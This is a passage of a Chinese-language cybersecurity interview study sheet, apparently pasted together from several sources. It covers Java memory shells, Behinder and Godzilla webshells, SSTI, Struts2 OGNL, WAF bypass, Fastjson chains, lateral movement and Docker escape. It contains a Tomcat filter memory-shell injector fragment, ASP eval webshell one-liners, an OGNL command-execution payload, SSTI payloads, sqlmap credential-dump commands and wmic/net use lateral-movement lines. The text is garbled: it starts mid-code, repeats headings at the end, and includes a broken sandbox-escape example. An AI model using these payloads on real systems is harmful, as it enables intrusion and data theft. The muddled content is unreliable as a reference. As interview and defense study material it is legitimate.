        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("Inject Success !");
    }
%>

如何查杀Java内存马

查杀Java内存马可以使用以下工具和方法：

Arthas：一款开源的Java诊断工具，可以动态追踪Java代码，实时监控JVM状态，帮助发现内存马。
copagent：基于Alibaba Arthas编写的工具，可以分析JVM中所有的Class，根据危险注解和类名等信息dump可疑的组件。
java-memshell-scanner：通过Tomcat API删除添加的组件，可以查看所有的组件信息，结合人工审查对内存马进行查杀。

冰蝎（Behinder）和哥斯拉（Godzilla）是两款比较流行的Webshell管理工具，它们都采用了加密通信技术来躲避安全检测，以下是对它们原理的简要介绍：

冰蝎原理

加密通信：冰蝎使用AES加密算法对通信内容进行加密，密钥是连接密码的32位MD5值的前16位。在传输过程中，数据先进行AES加密，然后进行Base64编码。
动态密钥协商：冰蝎的早期版本需要先获取服务器密钥，而3.0版本去除了动态密钥协商机制，采用预共享密钥，载荷全程无明文，这样可以避免在通信过程中暴露密钥。
内存马注入：冰蝎可以利用Java内存马技术，通过在内存中动态注册Filter、Servlet等组件来实现Webshell的功能，这种内存中的恶意代码不会写入磁盘，难以被传统的安全检测工具发现。
支持多种Web容器：冰蝎支持Tomcat、Jetty、Weblogic等多种Web容器，能够适应不同的服务器环境。

哥斯拉原理

全加密流量：哥斯拉是一款基于流量、HTTP全加密的Webshell管理工具。它对所有的通信数据都进行加密，包括Webshell的上传、执行命令等操作，加密方式支持AES等，这使得其通信流量难以被传统的WAF（Web应用防火墙）检测到。
自定义配置：哥斯拉支持自定义Http头、自定义加密方式等，攻击者可以根据实际情况灵活配置，增加检测难度。
丰富的插件系统：哥斯拉自带众多插件，如内存shell插件等，能够实现更多的攻击功能，如端口扫描、内网渗透等。
支持多种类型的shell：哥斯拉支持JSP、PHP、ASP等多种类型的Webshell，且这些shell都经过加密处理，可以绕过市面上的静态查杀工具。

红黑树原理

红黑树是一种自平衡二叉查找树，具有以下特性：

每个节点是红色或黑色。
根节点是黑色。
红色节点的子节点必须是黑色。
从任一节点到其每个叶子的所有路径都包含相同数目的黑色节点。
插入和删除操作后会进行调整以保持平衡。

Java的HashMap用到红黑树

Java 8及以后版本的HashMap在链表长度超过8时会将链表转换为红黑树，以优化搜索性能。HashMap的基本结构是数组+链表，当哈希冲突较多时链表过长会导致性能下降，因此引入红黑树来保证操作的对数时间复杂度。

MySQL的索引与存储结构

MySQL的索引通常使用B+树结构，因为B+树在磁盘I/O方面表现良好，适合数据库这种需要频繁磁盘操作的场景。B+树的叶子节点包含所有键值和数据指针，且叶子节点之间有指针相连，便于范围查询。
MySQL的存储结构因存储引擎而异，常见的InnoDB和MyISAM引擎各有特点：

InnoDB支持事务处理、行级锁定和外键等，数据按主键聚集存储。
MyISAM注重性能，适用于读多写少的场景，但不支持事务。

MySQL为什么要用B+树

MySQL索引选用B+树的原因包括：

高效范围查询：B+树的叶子节点之间有指针，能快速进行范围查询。
高磁盘I/O效率：B+树的节点存储大量键值，减少磁盘访问次数。
数据稳定性：B+树的结构变化较少，减少磁盘操作。

Python沙箱逃逸的原理与示例

沙箱逃逸的原理

Python沙箱逃逸是指在受限的执行环境中，通过利用Python的某些特性或漏洞，突破限制，访问到沙箱外部的资源或执行任意代码。沙箱环境通常会限制对某些模块、函数和内置功能的访问，但攻击者可以通过以下方式逃逸：

利用反射特性：通过Python的反射机制访问受限的功能。
使用模块导入：尝试导入被禁止的模块，如os或subprocess。
构造对象：利用自定义对象的魔术方法绕过直接限制。
栈帧操作：通过操作栈帧获取上级作用域的变量和函数。

沙箱逃逸示例

以下是一个简单的沙箱环境示例，以及如何逃逸这个沙箱：

def sandboxed_exec(code):
    restricted_globals = {
        '__builtins__': None  # 禁用内置函数
    }
    try:
        exec(code, restricted_globals)
    except Exception as e:
        print(f"执行代码时出错: {e}")

# 用户输入的代码
user_input = "print('Hello, World!')"
sandboxed_exec(user_input)

在这个示例中，虽然禁用了内置函数，但攻击者仍有可能通过其他方式逃逸。例如，通过定义一个函数并利用栈帧获取受限的变量：

def escape_sandbox():
    import os
    return os.listdir('/')

sandboxed_exec("print(escape_sandbox())")

栈帧逃逸示例

通过栈帧逃逸是另一种常见的方法，以下是一个利用栈帧逃逸的例子：

s3cret = "this is flag"

def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()  # 生成器
    frame = next(g)  # 获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['s3cret']  # 返回并获取前一级栈帧的globals
    return b

b = waff()
print(b)

在这个例子中，通过生成器的栈帧对象逐步回退到上级栈帧，最终获取到全局变量s3cret的值。

逃逸的防范

为了防范沙箱逃逸，可以采取以下措施：

限制内置函数和模块的访问：在沙箱环境中禁用危险的内置函数和模块。
代码审查：对用户输入的代码进行严格审查，防止恶意代码执行。
使用安全的执行环境：采用更安全的沙箱实现，如PyPy的沙箱模式或其他受限执行环境。

RASP的概念和原理

RASP（Runtime Application Self-Protection） 是一种新型应用安全保护技术，它将保护程序像疫苗一样注入到应用程序中，使应用程序具备自我保护能力。RASP技术能够在应用程序运行时实时检测和阻断安全攻击，无需人工干预。其核心特点包括：

实时防护：RASP技术可以实时监控应用程序的运行状态，及时检测和防御各种网络攻击。
深度防护：RASP技术可以在应用程序的各个层面进行安全防护，包括输入验证、输出编码、会话管理、权限控制等方面。
自动化防护：RASP技术可以自动识别和防御各种网络攻击，无需手动配置和更新防护规则，大大降低了安全防护的复杂度和成本。
透明化防护：RASP技术可以集成到应用程序的二进制代码中，无需修改应用程序的源代码，不会对应用程序的正常运行产生影响。

RASP技术通过监控应用程序的运行时上下文和代码语义，可以更准确地识别异常行为，避免误报和漏报。除了被动地检测攻击，RASP还能主动阻断潜在的威胁，识别恶意行为并立即采取措施，防止攻击者利用已知或未知漏洞进行攻击。

RASP的对抗

RASP技术在实际应用中面临着攻击者的不断挑战和对抗。攻击者可能会尝试通过以下方式绕过RASP的检测：

反射调用底层方法：攻击者可以通过分析应用程序的调用链，选择调用更底层的类或方法，从而绕过RASP的检测。
利用RASP的盲点：攻击者可能会利用RASP在某些特定场景下的检测盲点，进行针对性的攻击。
动态生成恶意代码：攻击者可以使用动态生成代码的方式，绕过静态分析和传统的检测方法。
为了应对这些挑战，RASP技术也在不断进化。例如，通过利用JVM虚拟机提供的底层方法，实现对底层本地方法的监控，将Java命令执行的监控做到当前的极限。这种技术下可以有效全面地记录攻击者的命令执行参数，且不论从哪儿进行恶意代码利用进行命令执行，都会调用到RASP hook的方法，被RASP监控和响应到。

PHP和Golang语言本身的安全问题

PHP的安全问题

PHP是一种广泛使用的脚本语言，但其本身存在一些安全问题，包括：

输入验证不足：PHP应用程序常常因为输入验证不足而导致SQL注入、XSS等漏洞。
危险函数的使用：PHP中的一些函数（如eval、exec、system等）如果使用不当，可能会导致代码执行漏洞。
会话管理问题：PHP的会话管理机制如果配置不当，可能会导致会话劫持等问题。
文件包含漏洞：PHP支持文件包含功能，如果路径控制不当，可能会导致本地或远程文件包含漏洞。

Golang的安全问题

Golang（Go）是一种现代的编程语言，设计时考虑了安全性，但仍存在一些潜在的安全问题：

竞态条件：由于Go支持并发编程，如果多个goroutine访问共享资源而没有适当的同步机制，可能会导致竞态条件。
内存安全问题：虽然Go具有垃圾回收机制，但在某些情况下，不当的内存管理仍可能导致安全问题。
第三方库的漏洞：使用第三方库时，如果这些库存在安全漏洞，可能会间接影响应用程序的安全性。
错误处理不当：不当的错误处理可能导致敏感信息泄露。

Flask 模板注入

Flask 模板注入（SSTI）是一种安全漏洞，当用户输入被直接嵌入到模板中进行渲染时，攻击者可以注入恶意代码。由于 Jinja2 模板引擎允许在模板中执行 Python 代码，攻击者可以利用此特性执行任意代码，导致信息泄露、命令执行等安全问题。

以下是一个简单的 Flask 应用，展示了 SSTI 漏洞：

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
    user_input = request.args.get('name', '')
    template = f"Hello, {user_input}!"
    return render_template_string(template)

在这个示例中，用户提供的 name 参数被直接插入到模板字符串中。攻击者可以构造恶意输入，例如：

1	{{''.__class__.__mro__[1].__subclasses__()}}

这将返回所有内置类的子类列表，攻击者可以进一步利用这些类执行恶意操作。

防御措施

输入验证：对用户输入进行严格验证，避免将其直接嵌入模板。
使用安全函数：避免使用 render_template_string，改用 render_template 并确保用户输入不直接影响模板文件。
限制模板功能：配置 Jinja2 环境以限制某些危险功能的使用。

利用
攻击者可以通过构造特定的输入来执行恶意代码，例如读取系统文件或执行系统命令。以下是一个读取系统文件的示例：

1	{{config.items()}}

这将返回 Flask 应用的配置项，可能包含敏感信息。

文件解析漏洞是指攻击者通过巧妙构造的文件名或请求，使得Web服务器错误地解析文件，从而执行恶意代码或获取未授权访问权限的漏洞。这种漏洞在IIS、Apache、Nginx等常见Web服务器中都有可能出现，以下是对这三种服务器文件解析漏洞的详细讲解和举例说明。

IIS文件解析漏洞

IIS在解析文件时，有时会根据文件名中的第一个扩展名来决定如何处理文件，而忽略后面的扩展名。例如，文件名example.asp;.jpg会被IIS视为ASP脚本，而不管后面的.jpg扩展名。此外，在IIS5.x/6.0中，如果在网站下建立名为.asp、.asa等的文件夹，那么该文件夹内的任何文件都会被IIS当作ASP文件来解析并执行。
假设攻击者上传了一个名为test.asp;.jpg的文件，该文件实际上是一个包含ASP代码的图片文件。由于IIS在解析时会优先识别.asp扩展名，因此会将该文件当作ASP脚本执行，从而执行其中的恶意代码。

严格文件上传验证：限制上传文件类型，通过MIME类型和文件扩展名双重检查，确保只允许合法的文件上传。同时，重命名上传文件，避免攻击者利用文件扩展名进行攻击。
正确配置IIS：确保处理程序映射正确配置，只允许特定扩展名的文件由特定处理程序处理，其他扩展名的文件作为静态文件处理。
使用URL重写规则：通过规则禁止带有多重扩展名的文件请求。

Apache文件解析漏洞

Apache默认一个文件可以有多个以点分隔的后缀，当右边的后缀无法识别时，会继续向左识别，直到找到一个已知的MIME类型。例如，文件名shell.php.xxx.yyy，由于Apache不认识.yyy和.xxx后缀，会继续向左识别，发现.php后缀，便将文件交给PHP处理。
攻击者上传一个名为example.php.jpg的文件，Apache会将其解析为PHP文件并执行其中的恶意代码。

升级到最新版本：应用Apache服务器的最新安全更新和补丁。
修改配置：在Apache配置文件中添加规则，限制可以上传和处理的文件类型。
使用安全模式：将Apache与PHP的结合模式从module切换到fastcgi，因为后者不容易受到多后缀解析漏洞的影响。

Nginx文件解析漏洞

Nginx在处理请求时，如果请求的URL最后的文件名以脚本后缀（如.php）结尾，会将整个请求当作脚本执行。此外，如果Nginx的配置不当，也可能导致文件解析漏洞。例如，当fastcgi_params配置中SCRIPT_FILENAME的值设置不当时，可能会导致PHP错误地解析文件。
攻击者访问http://example.com/xxoo.jpg/xxoo.php，Nginx会将xxoo.jpg当作PHP脚本执行，从而执行其中的恶意代码。

正确配置Nginx：确保Nginx的配置正确，避免错误地解析请求的URI。
限制文件类型：在Nginx配置中限制可以解析的文件类型，避免不必要的文件被当作脚本执行。
升级版本：及时升级Nginx到最新版本，以获取最新的安全修复。
文件解析漏洞在IIS、Apache、Nginx等Web服务器中都有可能出现，其原理主要是服务器在解析文件时的特殊行为被攻击者利用。防御措施主要包括严格文件上传验证、正确配置服务器、升级到最新版本等，以确保服务器的安全性。

以下是网络安全面试官视角下对nmap、msf、sqlmap常见命令，以及Java中final和static关键字的用途及区别的详细解答：

nmap常见命令

命令	说明
`nmap -sP 192.168.1.0/24`	扫描局域网内在线设备的IP地址
`nmap -sS 192.168.1.1 -p 1-1000`	对指定IP进行半开式TCP扫描，检测1-1000端口开放情况
`nmap -sV 192.168.1.1`	探测目标主机开放端口对应的服务及其版本信息
`nmap -O 192.168.1.1`	尝试识别目标主机的操作系统类型
`nmap -sC 192.168.1.1`	使用默认脚本对目标主机进行扫描，可获取更多应用服务信息
`nmap -A 192.168.1.1`	启用高级扫描模式，包含服务版本探测、操作系统检测和脚本扫描

sqlmap常见命令

命令	说明
`sqlmap.py -u "http://example.com/page?id=1"`	对指定URL中的参数id进行SQL注入检测
`sqlmap.py -u "http://example.com/page?id=1" --dbs`	检测目标是否存在SQL注入漏洞，并枚举所有数据库
`sqlmap.py -u "http://example.com/page?id=1" -D dbname --tables`	在指定数据库dbname中枚举所有数据表
`sqlmap.py -u "http://example.com/page?id=1" -D dbname -T tbname --columns`	枚举指定数据库dbname中表tbname的所有列
`sqlmap.py -u "http://example.com/page?id=1" -D dbname -T tbname -C "username,password" --dump`	导出指定表中列username和password的数据

Java中final关键字的用途

修饰变量：当final修饰一个变量时，该变量的值在初始化后不可改变。这通常用于定义常量，例如final double PI = 3.14;，保证PI的值在程序运行过程中不会被修改。
修饰方法：final修饰的方法不能被子类重写。例如，public final void display();，确保所有子类必须按照父类定义的方式实现该方法，保持特定功能的一致性。
修饰类：final修饰的类不能被继承。如final class MyClass {}，防止其他类继承MyClass，确保其内部实现细节不被外部访问和修改，增强封装性和安全性。

Java中static关键字的用途

修饰变量：static修饰的变量属于类，不属于类的任何对象。所有对象共享同一个static变量，例如static int count = 0;，用于记录创建对象的数量，每个对象对该变量的修改都会影响其他对象。
修饰方法：static修饰的方法属于类，可通过类名直接调用，无需创建对象。例如public static void main(String[] args)，是Java程序的入口方法，不依赖任何对象存在。
修饰代码块：static代码块在类加载时执行，用于初始化类的资源或进行一些必要的预处理操作，确保类在使用前完成特定的初始化任务。

final和static的区别

区别维度	final	static
修饰对象	可修饰变量、方法、类	主要修饰变量、方法、代码块
生命周期	final变量一旦赋值不可改变；final方法和类的定义在程序运行期间固定	static变量和方法随类加载而存在，不依赖对象；static代码块在类加载时执行一次
内存分配	final修饰的对象在栈中分配内存，遵循正常变量的内存管理	static修饰的对象在方法区（静态区）分配内存，独立于对象的生命周期
访问方式	final变量需通过对象访问（除非是类变量）；final方法通过对象或类名调用；final类只能通过类名引用	static变量和方法可通过类名直接访问，无需对象；static代码块由JVM自动调用

以下是关于WAF绕过、云WAF绕过、Fastjson反序列化与Java反序列化的区别、Fastjson高版本攻击方法以及利用链的详细解答：

WAF绕过方法

请求方式变换：将GET请求改为POST请求，或者将POST请求改为GET请求，绕过WAF对特定请求方式的检测。
Content-Type变换：修改请求的Content-Type，如从application/x-www-form-urlencoded改为multipart/form-data，使WAF无法正确解析和检测请求内容。
参数污染：通过在请求中添加多个相同名称的参数，干扰WAF的参数解析和检测逻辑。
大小写变形：利用WAF对大小写敏感的特点，将敏感关键词进行大小写变换，如将or变为Or、OR等。
等价替换：将敏感操作符进行等价替换，如将and替换为&&，or替换为||。
注释绕过：在SQL注入等场景中，使用注释符（如/* */、#）将敏感语句分隔，绕过WAF的规则检测。
URL编码：对敏感字符进行URL编码，如将'编码为%27，/编码为%2f等，使WAF无法直接识别。
空字节绕过：在请求中插入空字节（%00），使WAF在处理时停止解析后续内容，从而绕过检测。

云WAF绕过方法

伪造头部信息：通过修改请求头部的X-Forwarded-For字段，伪造IP地址为可信地址（如127.0.0.1），使云WAF误认为是合法请求。
寻找源站：针对云WAF部署的网站，寻找其真实源站IP，直接对源站发起攻击，绕过云WAF的防护。
利用同网段：利用与目标服务器同网段的主机进行攻击，使流量不经过云WAF的防护区域。

Fastjson反序列化与Java反序列化的区别

序列化机制：
- Fastjson：Fastjson是阿里巴巴开发的一个轻量级Java库，用于将Java对象转换为JSON格式的字符串，以及将JSON字符串解析为Java对象。它通过JSON.toJSONString()方法进行序列化，通过JSON.parseObject()或JSON.parse()方法进行反序列化。
- Java反序列化：Java自带的序列化机制通过java.io.Serializable接口实现，将对象的状态信息转换为可以存储或传输的形式，再在另一端重新还原为对象。
漏洞产生原理：
- Fastjson：Fastjson在反序列化过程中，通过@type参数指定类的类型，并调用该类的构造方法、set和get方法，如果这些方法中存在可被利用的代码，就可能导致反序列化漏洞。
- Java反序列化：Java反序列化漏洞通常是由于在反序列化过程中，攻击者可以构造恶意的序列化数据，触发目标类中的readObject()等方法中的漏洞代码，从而执行任意代码。
利用方式：
- Fastjson：攻击者通过构造包含恶意@type参数的JSON字符串，使Fastjson在反序列化时触发漏洞。
- Java反序列化：攻击者构造恶意的序列化对象，通过网络传输或文件上传等方式传递给目标系统，目标系统在反序列化时触发漏洞。

Fastjson高版本攻击方法

利用Autotype机制：在Fastjson的某些高版本中，虽然默认关闭了Autotype功能，但可以通过设置ParserConfig.getGlobalInstance().setAutoTypeSupport(true)来开启。攻击者可以利用这一点，构造包含恶意@type参数的JSON字符串，使Fastjson在反序列化时执行任意代码。
利用其他反序列化漏洞：即使Autotype功能被禁用，Fastjson在处理复杂对象时仍可能存在其他反序列化漏洞。攻击者可以通过研究Fastjson的反序列化逻辑，寻找新的利用点。

Fastjson不出网的攻击方法

高版本利用方法
 https://xz.aliyun.com/news/11938
https://www.freebuf.com/articles/web/365680.html
https://xz.aliyun.com/news/14309

Fastjson常见利用链

JRMP利用链：攻击者通过构造包含@type为java.rmi.server.UnicastRemoteObject的JSON字符串，触发JRMP（Java Remote Method Protocol）反序列化漏洞，连接到攻击者控制的RMI服务器，下载并执行恶意代码。
CommonsCollections利用链：利用org.apache.commons.collections包中的Transformer类的反序列化漏洞，结合Fastjson的反序列化过程，执行任意代码。
其他利用链：根据目标系统中使用的其他第三方库或组件的反序列化漏洞，结合Fastjson的特性，构造相应的利用链。

内网渗透横向手段

1. IPC$横向移动

原理：IPC$是Windows系统中用于进程间通信的共享命名管道，通过139或445端口进行通信。攻击者可以利用IPC$连接，将恶意代码或工具传输到目标主机，并在目标主机上执行命令。

操作示例：

1	net use \\192.168.52.136\ipc$ "password" /user:"username"

2. WMI横向移动

原理：WMI（Windows Management Instrumentation）是Windows系统中用于管理本地和远程计算机的工具。攻击者可以利用WMI在远程主机上执行命令。

操作示例：

1	wmic /node:192.168.52.136 /user:username /password:password process call create "cmd /c malicious_command"

3. SMB横向移动

原理：SMB（Server Message Block）协议用于文件共享和打印服务，通过445端口进行通信。攻击者可以利用SMB协议在内网中传播恶意软件或执行远程命令。

操作示例：

1	net use \\192.168.52.136\share "password" /user:"username"

免杀相关：判断是否是虚拟机环境

查看主机名和进程：通过查看主机名和进程信息，可以初步判断是否处于虚拟机环境。虚拟机环境中的主机名和进程可能包含特定的虚拟机标识。
利用cgroup信息的差异：通过查看系统进程的cgroup信息，可以识别当前进程所处的运行环境。
1
cat /proc/1/cgroup
检查根目录下的.dockerenv文件：如果存在该文件，说明当前环境是Docker容器。
1
ls -alh /.dockerenv
检查挂载信息：通过查看挂载信息，可以推测当前所处的环境。
1
mount

云原生攻防思路以及手段

攻防思路

突破网络隔离：攻击者可以利用云原生环境中的网络配置漏洞，如VPC、安全组等，突破网络隔离。
突破资源隔离：通过容器逃逸、虚拟机逃逸等手段，突破资源隔离。
突破权限隔离：利用云原生环境中的权限管理漏洞，如IAM账号、策略等，提升权限。
突破架构隔离：针对多租户环境，攻击者可以利用逻辑多租的漏洞，突破架构隔离。

常见攻击手段

容器逃逸：利用容器运行时的漏洞，从容器逃逸到宿主机。
Kubernetes集群攻击：攻击者可以利用Kubernetes集群中的未授权访问、API Server漏洞等，控制整个集群。
云存储攻击：攻击者可以利用云存储服务的漏洞，如Bucket公开访问、权限配置不当等，窃取敏感数据。

Docker逃逸的手段

1. 利用内核漏洞

原理：Docker容器依赖于宿主机的内核，如果内核存在漏洞，攻击者可以利用这些漏洞从容器逃逸到宿主机。
操作示例：利用已知的内核漏洞（如Dirty COW）进行逃逸。

2. 利用Docker版本漏洞

原理：某些Docker版本可能存在安全漏洞，攻击者可以利用这些漏洞进行逃逸。
操作示例：利用Docker特定版本的漏洞，如docker escape漏洞。

3. 利用CDK自动化工具

原理：通过自动化工具（如CDK）进行容器部署时，可能存在配置不当或漏洞，攻击者可以利用这些进行逃逸。
操作示例：通过分析CDK生成的配置文件，寻找潜在的漏洞利用点。

4. 利用挂载点

原理：如果容器挂载了宿主机的敏感目录，攻击者可以修改宿主机上的文件或配置，从而实现逃逸。
操作示例：通过挂载点修改宿主机上的关键文件。

Struts2 OGNL 注入漏洞：

Struts2 OGNL 注入漏洞是由于框架在处理用户请求时，没有对 OGNL 表达式（Object-Graph Navigation Language）做严格的输入校验，导致攻击者可以构造恶意表达式，在服务端被当作代码执行，从而实现远程命令执行（RCE）。

本质上，这是一个表达式注入问题，关键原因在于：

Struts2 在一些标签（如 %{}）、参数绑定、错误信息回显中自动执行了 OGNL 表达式。

用户输入未经安全处理就被带入 OGNL 执行上下文，攻击者就可以构造如：

1	%{#context['xwork.MethodAccessor.denyMethodExecution']=false, #cmd='whoami', @java.lang.Runtime@getRuntime().exec(#cmd)}

导致任意命令执行。

常见漏洞编号如：

CVE-2017-5638（S2-045，Content-Type 头中的 OGNL）
CVE-2018-11776（URL 路由参数未校验）

当然可以！下面是网络安全面试中常问的常见扫描工具及其用法总结，涵盖端口扫描、漏洞扫描、目录扫描、资产信息探测等多个维度，方便你面试时系统作答。

常见攻击扫描命令

nmap -sS -Pn -p- 192.168.1.1      # 全端口 TCP 扫描
nmap -sV 192.168.1.1              # 识别服务版本
nmap -A 192.168.1.1               # 开启操作系统识别、版本、脚本
nmap -sU -p 53 192.168.1.1        # UDP 端口扫描
nmap --script vuln target.com     # 使用 NSE 漏洞脚本扫描

masscan -p1-65535 192.168.1.0/24 --rate=10000

python3 dirsearch.py -u http://target.com -e php,asp,html -w wordlist.txt

nuclei -u http://target.com -t cves/ -severity critical
nuclei -list targets.txt -tags rce,xss

**WhatWeb / Wappalyzer / Webanalyze** – Web 指纹识别
whatweb http://target.com

xray webscan --url http://target.com --plugins xss,sqli,xxe --html-output report.html

sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap --batch --cookie="sessionid=..." --risk=3 --level=5

以下是有关SMB服务的常见面试问题，按照不同类别进行整理：

SMB服务基础概念类问题

什么是SMB服务？它的主要功能是什么？
- SMB（Server Message Block）服务是一种网络文件共享协议，主要用于在计算机之间共享文件、打印机和其他资源。它允许客户端应用程序访问服务器上的文件和目录，就像访问本地文件系统一样。
SMB服务使用哪些端口进行通信？
- SMB服务通常使用TCP端口139和445进行通信。端口139使用NetBIOS会话服务，而端口445则是直接使用TCP/IP，不依赖于NetBIOS。
SMB协议有哪些版本？它们之间有什么区别？
- SMB协议有多个版本，如SMB1.0、SMB2.0、SMB2.1、SMB3.0等。SMB2.0及以上版本在性能、安全性等方面有较大改进，例如SMB2.0减少了往返次数，提高了传输效率，SMB3.0增加了数据加密等功能。

SMB服务安全漏洞类问题

SMB服务存在哪些安全漏洞？
- SMB服务存在多种安全漏洞，如“永恒之蓝”（EternalBlue）漏洞，它利用SMBv1协议的漏洞，允许攻击者在目标系统上执行任意代码。
如何防范SMB服务的安全漏洞？
- 防范SMB服务的安全漏洞措施包括：及时更新系统和SMB服务的补丁、禁用不必要的SMB版本（如SMBv1）、限制对SMB服务的网络访问、使用防火墙规则等。
如何检测和修复SMB服务的漏洞？
- 可以使用漏洞扫描工具（如Nessus、OpenVAS等）来检测SMB服务的漏洞。修复漏洞通常需要安装相应的安全补丁，或者根据漏洞的具体情况采取相应的配置更改等措施。

Fofa语法

语法	示例	用途说明	=	!=	*=
ip	ip=”1.1.1.1”	通过单一IPv4地址进行查询	✓	✓	-
ip=”220.181.111.1/24”	通过IPv4 C段进行查询	✓	✓	-
port	port=”6379”	通过端口号进行查询	✓	✓	✓
domain	domain=”qq.com”	通过根域名进行查询	✓	✓	✓
server	server=”Microsoft-IIS/10”	通过服务器进行查询	✓	✓	✓
os	os=”centos”	通过操作系统进行查询	✓	✓	✓

标记类

语法	示例	用途说明	=	!=	*=
app	app=”Microsoft-Exchange”	通过FOFA整理的规则进行查询	✓	-	-
product	product=”NGINX”	通过FOFA标记的产品名进行查询	✓	✓	-
type	type=”service”	筛选协议资产	✓	-	-
type=”subdomain”	筛选服务（网站类）资产	✓	-	-
cloud_name	cloud_name=”Aliyundun”	通过云服务商进行查询	✓	✓	✓

协议类（type=service）

语法	示例	用途说明	=	!=	*=
protocol	protocol=”quic”	通过协议名称进行查询	✓	✓	✓
banner	banner=”users”	通过协议返回信息进行查询	✓	✓	✓

网站类（type=subdomain）

语法	示例	用途说明	=	!=	*=
title	title=”beijing”	通过网站标题进行查询	✓	✓	✓
header	header=”elastic”	通过响应标头进行查询	✓	✓	✓
body	body=”网络空间测绘”	通过HTML正文进行查询	✓	✓	-

地理位置

语法	示例	用途说明	=	!=	*=
country	country=”CN”	通过国家的简称代码进行查询	✓	✓	-
region	region=”Zhejiang”	通过省份/地区英文名称进行查询	✓	✓	-
city	city=”Hangzhou”	通过城市英文名称进行查询	✓	✓	-

证书类

语法	示例	用途说明	=	!=	*=
cert	cert=”baidu”	通过证书进行查询	✓	✓	✓
cert.subject	cert.subject=”Oracle Corporation”	通过证书的持有者进行查询	✓	✓	✓
cert.issuer	cert.issuer=”DigiCert”	通过证书的颁发者进行查询	✓	✓	✓

时间类

语法	示例	用途说明	=	!=	*=
after	after=”2023-01-01”	筛选某一时间之后有更新的资产	✓	-	-
before	before=”2023-12-01”	筛选某一时间之前有更新的资产	✓	-	-

独立IP语法

语法	示例	用途说明	=	!=	*=
port_size	port_size=”6”	筛选开放端口数量等于6个的独立IP	✓	✓	-
ip_ports	ip_ports=”80,161”	筛选同时开放不同端口的独立IP	✓	-	-
ip_country	ip_country=”CN”	通过国家的简称代码进行查询独立IP	✓	-	-

逻辑连接符

符号	含义	示例
=	匹配，=””时，可查询不存在字段或者值为空的情况	ip=”1.1.1.1”
==	完全匹配，==””时，可查询存在且值为空的情况	-
&&	与	ip=”1.1.1.1” && port=”6379”

!=	不匹配，!=””时，可查询值不为空的情况	port!=”6379”
*=	模糊匹配，使用*或者?进行搜索	banner*=”mys??”

菜刀，蚁剑，冰蝎，哥斯拉

菜刀
payload特征：
PHP:

ASP: <%eval request(“caidao”)%>

ASP.NET: <%@ Page
Language=“Jscript”%><%eval(Request.Item[“caidao”],“unsafe”);%>

数据包流量特征：
1，请求包中：ua头为百度，火狐
2，请求体中存在eavl，base64等特征字符
3，请求体中传递的payload为base64编码，并且存在固定的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7J
冰蝎流量分析
paylaod分析：
php在代码中同样会存在eval或assert等字符特征
在aps中会在for循环进行一段异或处理

在jsp中则利用java的反射，所以会存在ClassLoader，getClass().getClassLoader()等字符特征

冰蝎2.0流量特征：
第一阶段请求中返回包状态码为200，返回内容必定是16位的密钥
请求包存在：Accept: text/html, image/gif, image/jpeg, ; q=.2, /; q=.2

建立连接后的cookie存在特征字符
所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/；

冰蝎3.0流量特征：
请求包中content-length 为5740或5720（可能会根据Java版本而改变）
每一个请求头中存在
Pragma: no-cache，Cache-Control: no-cache
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.9
哥斯拉流量
payload特征：
jsp会出现xc,pass字符和Java反射（ClassLoader，getClass().getClassLoader()），base64加解码等特征
php，asp则为普通的一句话木马

哥斯拉流量分析：
作为参考：
所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
所有响应中Cache-Control: no-store, no-cache, must-revalidate,
同时在所有请求中Cookie中后面都存在；特征

OWASP TOP 10

MSSQL 除了 xp_cmdshell、sp_oacreate 还有什么办法执行命令？

CLR 原理以及流程

Oracle 能不能 RCE？怎么 RCE？前置条件是啥？

Autotype=false 绕过有几种思路？

PHPInfo 你会关注哪些信息

浏览器解析顺序和解码顺序

过滤limit后的逗号如何绕过

过滤逗号的SQL注入如何绕过

Python相关的漏洞（SSTI原理，利用过程，payload相关的东西）

Java 内存马

冰蝎、哥斯拉工具

审表达式引擎的步骤和思路

XXE漏洞成因及代码层面分析

遇到ORDER BY时的防御

宽字节注入

特殊字符转义时的处理

基于黑白名单的修复在Docker环境中的应用

Java系统代码审计流程

Java系统中SQL注入的防御与修复

防御措施

修复方法

反序列化时的魔术方法入手点

在PHP环境下利用SSRF

PHP代码常见入口函数的查找

PHP开发框架的URL路由方法

远程文件包含和本地文件包含涉及的PHP设置

本地文件包含的PHP配置限制

PHP在做SQL注入防御时的方法

Redis解决了什么问题？

热点数据怎么保证Redis和DB中的一致？

用户登录认证是怎么做的？

Token的安全怎么保护？

Token的内容该如何设计？

怎么保证数据不被篡改呢？

如何进行CSRF防御？

校验什么？

Token为什么需要加密？

有没有自己动手写过一些工具

nmap探测系统的参数是什么 —>大写还是小写

nmap的小写o与a是干嘛的

一串编码如何确认是base64

栅栏密码的原理是什么

base64与md5如何区别

oracle的默认端口是多少

mysql的管理员密码一般放到哪

如果substr()函数被禁用，你脑子里有多少替换函数

redis如何拿下，哪个端口，具体语句，具体操作

如何通过邮箱知道对方的IP

Struct2漏洞

父子进程的介绍

孤儿进程和僵尸进程

反弹shell的几种方式

Linux开机自启动方式

init.d脚本介绍

Linux怎么查看程序调用了哪些文件

如何监控Linux文件操作

Linux有哪些系统调用

查看Linux开放的网络端口

查看Linux多线程状态

Linux下隐藏文件

子域名收集

DNS重绑定

DNS解析的流程

CC流量

SSH隧道

runc容器逃逸原理

常见WAF种类

MySQL的UAF

Java 内存马原理

如何查杀Java内存马

冰蝎原理

哥斯拉原理

红黑树原理

Java的HashMap用到红黑树

MySQL的索引与存储结构

MySQL为什么要用B+树

Python沙箱逃逸的原理与示例

沙箱逃逸的原理

沙箱逃逸示例

